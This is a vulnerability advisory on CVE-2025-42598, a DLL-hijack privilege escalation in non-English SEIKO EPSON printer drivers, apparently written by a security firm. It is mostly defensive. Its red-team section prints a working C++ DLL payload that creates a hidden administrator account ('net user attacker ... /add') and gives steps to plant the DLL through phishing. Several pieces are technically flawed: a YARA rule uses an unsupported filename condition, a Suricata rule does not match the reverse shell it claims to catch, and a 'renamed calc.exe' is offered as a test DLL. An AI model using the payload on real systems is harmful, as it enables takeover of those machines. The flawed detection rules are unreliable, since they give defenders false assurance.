CVE-2025-42598

Executive Summary

CVE-2025-42598 is a high-severity (CVSS 7.8) privilege escalation vulnerability affecting multiple SEIKO EPSON printer drivers for Windows OS when installed or used in a language other than English. The vulnerability stems from improper access permission settings (CWE-732) on the driver installation directory or related components. An attacker who can convince a user to place a crafted DLL file into a specific location can achieve arbitrary code execution with SYSTEM privileges. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the lack of a vendor patch makes this a significant risk for affected environments.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a Windows-native driver issue. However, organizations should treat the printer driver as a software supply chain component and verify its integrity and source.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (AV:L) – The attacker must have local access or convince a user to place a DLL.
• Attack Complexity (AC): Low (AC:L) – No special conditions beyond user interaction.
• Privileges Required (PR): None (PR:N) – No prior privileges needed.
• User Interaction (UI): Required (UI:R) – The user must place the DLL.
• Scope (S): Unchanged (S:U) – The vulnerability does not cross trust boundaries.
• Confidentiality Impact (C): High (C:H) – SYSTEM access allows reading all files.
• Integrity Impact (I): High (I:H) – SYSTEM access allows modifying system files.
• Availability Impact (A): High (A:H) – SYSTEM access can disrupt services.

Threat Level: High. While EPSS is low, the lack of a patch and the potential for SYSTEM-level compromise make this a critical risk for environments using non-English SEIKO EPSON drivers.

Deep Dive & Mechanics

The vulnerability exists in the installation or runtime configuration of SEIKO EPSON printer drivers on Windows. When the driver is installed in a language other than English, the installer or driver service sets incorrect permissions on certain directories or registry keys. This allows a low-privileged user (or an attacker who tricks a user) to write a malicious DLL into a location that the driver loads with SYSTEM privileges.

Attack Flow:

1. The attacker identifies a target system with a non-English SEIKO EPSON printer driver installed.
2. The attacker crafts a malicious DLL (e.g., a proxy DLL or a DLL that hijacks a known load path).
3. The attacker convinces the user (via social engineering, phishing, or other means) to place the DLL into the vulnerable directory (e.g., C:\ProgramData\Epson\... or C:\Windows\System32\spool\drivers\...).
4. When the printer driver service or a privileged process loads the DLL, the attacker’s code executes with SYSTEM privileges.
5. The attacker can then install malware, create backdoors, or exfiltrate data.

Root Cause: Improper access control lists (ACLs) on the driver’s installation directory or subdirectories, allowing non-privileged users to write files.

Vulnerable vs. Patched Code

Since no patch is available, a code comparison is not possible. However, the vulnerable configuration can be described:

Vulnerable Configuration (Example):

• Directory: C:\ProgramData\Epson\Driver\
• ACL: BUILTIN\Users:(OI)(CI)(F) – Full control for all users.

Patched Configuration (Expected):

• Directory: C:\ProgramData\Epson\Driver\
• ACL: BUILTIN\Users:(OI)(CI)(RX) – Read and execute only.
• Or: NT AUTHORITY\SYSTEM:(F), BUILTIN\Administrators:(F), BUILTIN\Users:(RX)

Detection via PowerShell:

# Check ACL on potential vulnerable directories
$paths = @(
    "C:\ProgramData\Epson",
    "C:\Windows\System32\spool\drivers\w32x86\3",
    "C:\Windows\System32\spool\drivers\x64\3"
)
foreach ($path in $paths) {
    if (Test-Path $path) {
        $acl = Get-Acl $path
        Write-Host "Path: $path"
        $acl.Access | Where-Object { $_.IdentityReference -eq "BUILTIN\Users" -and $_.FileSystemRights -match "FullControl|Modify|Write" }
    }
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Windows VM with a non-English SEIKO EPSON printer driver installed (e.g., Japanese or German locale).
• Low-privileged user account.
• A crafted DLL (e.g., evil.dll) that executes a reverse shell or adds a user.

Steps:

1. Identify the vulnerable directory using the PowerShell script above.
2. Craft a DLL that, when loaded, executes net user attacker Passw0rd! /add && net localgroup Administrators attacker /add.
3. Use social engineering to place the DLL in the vulnerable directory (e.g., via a phishing email with a ZIP file).
4. Trigger the driver service (e.g., print a test page or restart the print spooler).
5. The DLL executes with SYSTEM privileges.

Example DLL Code (C++):

#include <windows.h>
#pragma comment(linker, "/EXPORT:OriginalFunction=OriginalDLL.OriginalFunction")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        system("net user attacker Passw0rd! /add");
        system("net localgroup Administrators attacker /add");
    }
    return TRUE;
}

Blue Team (Defense & Detection)

Hunting Steps:

1. Monitor for file writes to known SEIKO EPSON driver directories by non-privileged users.
2. Look for unexpected DLL loads from those directories using Sysmon Event ID 7 (Image loaded).
3. Check for new user accounts or group membership changes (Event ID 4720, 4732).
4. Review print spooler logs (Event ID 307, 808) for anomalies.

Lab Setup:

• Install a non-English SEIKO EPSON driver on a Windows 10/11 VM.
• Use Sysmon and Windows Event Logging to capture events.
• Simulate the attack by placing a benign DLL (e.g., calc.exe renamed) and triggering the driver.

Indicators of Compromise (IOCs)

• File Paths:
  • C:\ProgramData\Epson\*.dll
  • C:\Windows\System32\spool\drivers\w32x86\3\*.dll
  • C:\Windows\System32\spool\drivers\x64\3\*.dll
• Registry Keys:
  • HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Drivers\Version-3\Epson*
• Processes:
  • spoolsv.exe loading unexpected DLLs.
  • EpsonStatusMonitor.exe or similar.
• Network Connections:
  • Outbound connections from spoolsv.exe to unknown IPs (if DLL is a reverse shell).
• Event IDs:
  • Sysmon Event ID 7 (Image loaded) with suspicious DLL paths.
  • Windows Security Event ID 4720 (User created), 4732 (User added to group).

Detection Engineering

YARA Rule

rule CVE_2025_42598_Epson_DLL_Hijack {
    meta:
        description = "Detects malicious DLLs placed in SEIKO EPSON driver directories"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-42598"
    strings:
        $s1 = "Epson" nocase
        $s2 = "Printer" nocase
        $s3 = "Driver" nocase
    condition:
        (uint16(0) == 0x5A4D) and // MZ header
        (filename matches /.*\\ProgramData\\Epson\\.*\\.dll/i or
         filename matches /.*\\System32\\spool\\drivers\\.*\\.dll/i) and
        (1 of ($s*))
}

Sigma Rule

title: CVE-2025-42598 - Epson Driver DLL Hijack
id: 8a3f7c2e-5b1d-4a9e-8c6f-2d3e4f5a6b7c
status: experimental
description: Detects file writes to SEIKO EPSON driver directories by non-privileged users
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-42598
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|contains:
            - '\ProgramData\Epson\'
            - '\System32\spool\drivers\w32x86\3\'
            - '\System32\spool\drivers\x64\3\'
        TargetFilename|endswith: '.dll'
        User|notcontains:
            - 'SYSTEM'
            - 'Administrator'
    condition: selection
falsepositives:
    - Legitimate driver updates (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-42598 - Epson Driver DLL Hijack - Potential Reverse Shell"; flow:to_server,established; content:"|4d 5a|"; offset:0; depth:2; content:"Epson"; nocase; within:1024; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Permissions: Manually set ACLs on SEIKO EPSON driver directories to remove write access for non-privileged users.

   $paths = @(
       "C:\ProgramData\Epson",
       "C:\Windows\System32\spool\drivers\w32x86\3",
       "C:\Windows\System32\spool\drivers\x64\3"
   )
   foreach ($path in $paths) {
       if (Test-Path $path) {
           $acl = Get-Acl $path
           $rule = New-Object System.Security.AccessControl.FileSystemAccessRule("BUILTIN\Users","ReadAndExecute","ContainerInherit,ObjectInherit","None","Allow")
           $acl.SetAccessRule($rule)
           Set-Acl $path $acl
       }
   }
   

2. Monitor for Suspicious DLLs: Deploy the YARA and Sigma rules above.
3. User Awareness: Train users not to place files in printer driver directories.
4. Application Control: Use AppLocker or WDAC to block DLLs from non-standard paths.

Long-Term:

• Contact SEIKO EPSON for an official patch.
• Consider replacing affected drivers with English-language versions if possible.
• Implement least-privilege principles for all printer drivers.

Valters IT